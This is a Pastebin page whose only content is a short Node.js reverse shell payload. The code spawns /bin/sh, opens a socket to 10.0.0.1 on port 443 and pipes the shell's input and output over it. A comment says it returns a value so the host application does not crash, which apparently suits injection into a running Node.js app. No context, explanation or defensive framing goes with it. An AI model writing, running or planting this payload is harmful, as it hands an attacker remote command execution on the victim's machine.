Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(443, "10.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement